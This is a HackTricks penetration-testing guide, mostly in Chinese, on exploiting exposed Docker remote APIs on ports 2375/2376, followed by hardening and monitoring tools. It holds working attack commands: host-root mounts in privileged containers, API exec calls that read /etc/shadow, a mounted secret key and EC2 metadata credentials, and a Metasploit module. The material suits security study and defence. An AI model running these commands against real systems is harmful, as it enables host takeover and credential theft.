hacktricks/network-services-pentesting/2375-pentesting-docker.md

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# 2375, 2376 Pentesting Docker
{% hint style="success" %}
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### Docker 基础
#### 什么是
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Docker 是 **容器化行业**的 **前沿平台**,引领着 **持续创新**。它使得应用程序的创建和分发变得轻而易举,涵盖从 **传统到未来** 的应用,并确保它们在不同环境中的 **安全部署**
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#### 基本的 Docker 架构
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* [**containerd**](http://containerd.io): 这是一个 **核心运行时**,负责 **管理容器的生命周期**。这包括处理 **镜像传输和存储**,以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解**将在 **后续探讨**
* **container-shim** 在处理 **无头容器** 时扮演着关键角色,顺利接管 **runc** 在容器初始化后的工作。
* [**runc**](http://runc.io): 以其 **轻量级和通用的容器运行时** 能力而闻名runc 符合 **OCI 标准**。它被 containerd 用于 **根据 OCI 指南启动和管理容器**,并从最初的 **libcontainer** 发展而来。
* [**grpc**](http://www.grpc.io) 对于 **促进 containerd 和 docker-engine 之间的通信** 至关重要,确保 **高效的交互**
* [**OCI**](https://www.opencontainers.org) 在维护 **运行时和镜像的 OCI 规范** 中发挥着重要作用,最新的 Docker 版本 **符合 OCI 镜像和运行时** 标准。
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#### 基本命令
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```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
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docker save -o ubuntu.tar <image> #Export an image
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docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
#### Containerd
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**Containerd** 是专门为满足 **Docker 和 Kubernetes** 等容器平台的需求而开发的。它旨在通过抽象操作系统特定的功能和系统调用,**简化在各种操作系统上执行容器** 的过程,包括 Linux、Windows、Solaris 等。Containerd 的目标是仅包含用户所需的基本功能,努力省略不必要的组件。然而,完全实现这一目标被认为是具有挑战性的。
一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素,具有如软件定义网络 (SDN) 和服务发现等复杂性这些复杂性在不同平台之间差异显著。因此Containerd 将网络方面的管理留给它所支持的平台。
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虽然 **Docker 利用 Containerd** 来运行容器,但重要的是要注意 Containerd 仅支持 Docker 功能的一个子集。具体而言Containerd 缺乏 Docker 中存在的网络管理能力,并且不支持直接创建 Docker swarm。这一区别突显了 Containerd 作为容器运行时环境的专注角色,将更专业的功能委托给它所集成的平台。
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```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
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ctr container create registry:5000/alpine:latest alpine #Create container called alpine
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ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
#### Podman
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**Podman** 是一个遵循 [Open Container Initiative (OCI) 标准](https://github.com/opencontainers) 的开源容器引擎,由 Red Hat 开发和维护。它与 Docker 的不同之处在于几个独特的特性,特别是它的 **无守护进程架构** 和对 **无根容器** 的支持,使用户能够在没有根权限的情况下运行容器。
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Podman 旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性扩展到其生态系统,包括用于构建容器镜像的工具 **Buildah** 和用于图像操作(如推送、拉取和检查)的 **Skopeo**。有关这些工具的更多详细信息,请访问它们的 [GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。
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**主要区别**
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* **架构**:与 Docker 的客户端-服务器模型和后台守护进程不同Podman 在没有守护进程的情况下运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对根访问的需求来增强安全性。
* **Systemd 集成**Podman 与 **systemd** 集成以管理容器,允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护进程的 systemd 使用形成对比。
* **无根容器**Podman 的一个关键特性是能够在发起用户的权限下运行容器。这种方法通过确保攻击者仅获得被攻陷用户的权限,而不是根访问,来最小化与容器漏洞相关的风险。
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Podman 的方法提供了一个安全且灵活的 Docker 替代方案,强调用户权限管理和与现有 Docker 工作流的兼容性。
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{% hint style="info" %}
请注意,由于 podman 旨在支持与 docker 相同的 API您可以使用与 docker 相同的命令来使用 podman例如
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```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
### 基本信息
默认情况下,当启用时,远程 API 在 2375 端口上运行。该服务默认不需要身份验证,这使得攻击者能够启动一个特权的 docker 容器。通过使用远程 API可以将主机 /(根目录)附加到容器,并读取/写入主机环境的文件。
**默认端口:** 2375
```
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PORT STATE SERVICE
2375/tcp open docker
```
### Enumeration
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#### Manual
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注意,为了枚举 docker API您可以使用 `docker` 命令或 `curl`,如以下示例所示:
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```bash
#Using curl
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curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
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Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
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Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
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```
如果您可以 **使用 `docker` 命令联系远程 docker API**,您可以 **执行** 任何 **之前评论过的** [**docker** 命令](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。
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{% hint style="info" %}
您可以 `export DOCKER_HOST="tcp://localhost:2375"`**避免** 在 docker 命令中使用 `-H` 参数
{% endhint %}
**快速权限提升**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
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有时你会看到 **2376** 用于 **TLS** 端点。我无法通过 docker 客户端连接到它,但可以使用 curl 进行连接。
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```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
如果您想要更多信息,可以在我复制命令的地方找到更多信息:[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
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#### 自动
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```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
### 破坏
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在以下页面中,您可以找到**从docker容器中逃脱**的方法:
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{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
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利用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱并破坏该机器:
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```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
### 权限提升
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如果您在使用 docker 的主机内部,您可以 [**阅读此信息以尝试提升权限**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
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### 在运行的 Docker 容器中发现秘密
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```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
检查 **env**(环境变量部分)以查找秘密,您可能会发现:
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* 密码。
* IP 地址。
* 端口。
* 路径。
* 其他……。
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如果您想提取文件:
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```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
### Securing your Docker
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#### Securing Docker installation and usage
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* 您可以使用工具 [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) 来检查您当前的 docker 安装。
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* `./docker-bench-security.sh`
* 您可以使用工具 [https://github.com/kost/dockscan](https://github.com/kost/dockscan) 来检查您当前的 docker 安装。
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* `dockscan -v unix:///var/run/docker.sock`
* 您可以使用工具 [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) 来检查容器在不同安全选项下的权限。这对于了解使用某些安全选项运行容器的影响非常有用:
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* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
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#### Securing Docker Images
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* 您可以使用 [https://github.com/quay/clair](https://github.com/quay/clair) 的 docker 镜像来扫描您的其他 docker 镜像并查找漏洞。
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* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
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#### Securing Dockerfiles
* 您可以使用工具 [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) 来 **检查您的 Dockerfile** 并查找各种错误配置。每个错误配置将被分配一个 ID您可以在这里找到 [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) 如何修复它们。
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* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (176).png>)
* 您可以使用工具 [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) 来 **检查您的 Dockerfile** 并查找各种错误配置。
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* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (212).png>)
* 您可以使用工具 [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) 来 **检查您的 Dockerfile** 并查找各种错误配置。
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* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (71).png>)
* 您可以使用工具 [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) 来 **检查您的 Dockerfile** 并查找各种错误配置。
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* `hadolint Dockerfile`
![](<../.gitbook/assets/image (501).png>)
#### Logging Suspicious activity
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* 您可以使用工具 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) 来检测 **正在运行的容器中的可疑行为**
* 请注意以下部分 **Falco 编译内核模块并插入**。之后,它加载规则并 **开始记录可疑活动**。在这种情况下,它检测到启动了 2 个特权容器,其中 1 个具有敏感挂载,并且在几秒钟后检测到在其中一个容器内打开了一个 shell。
```bash
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docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
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- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
2021-01-04 12:13:07 +00:00
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
#### 监控 Docker
2021-01-04 12:13:07 +00:00
您可以使用 auditd 来监控 docker。
2022-04-28 16:01:33 +00:00
### 参考文献
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
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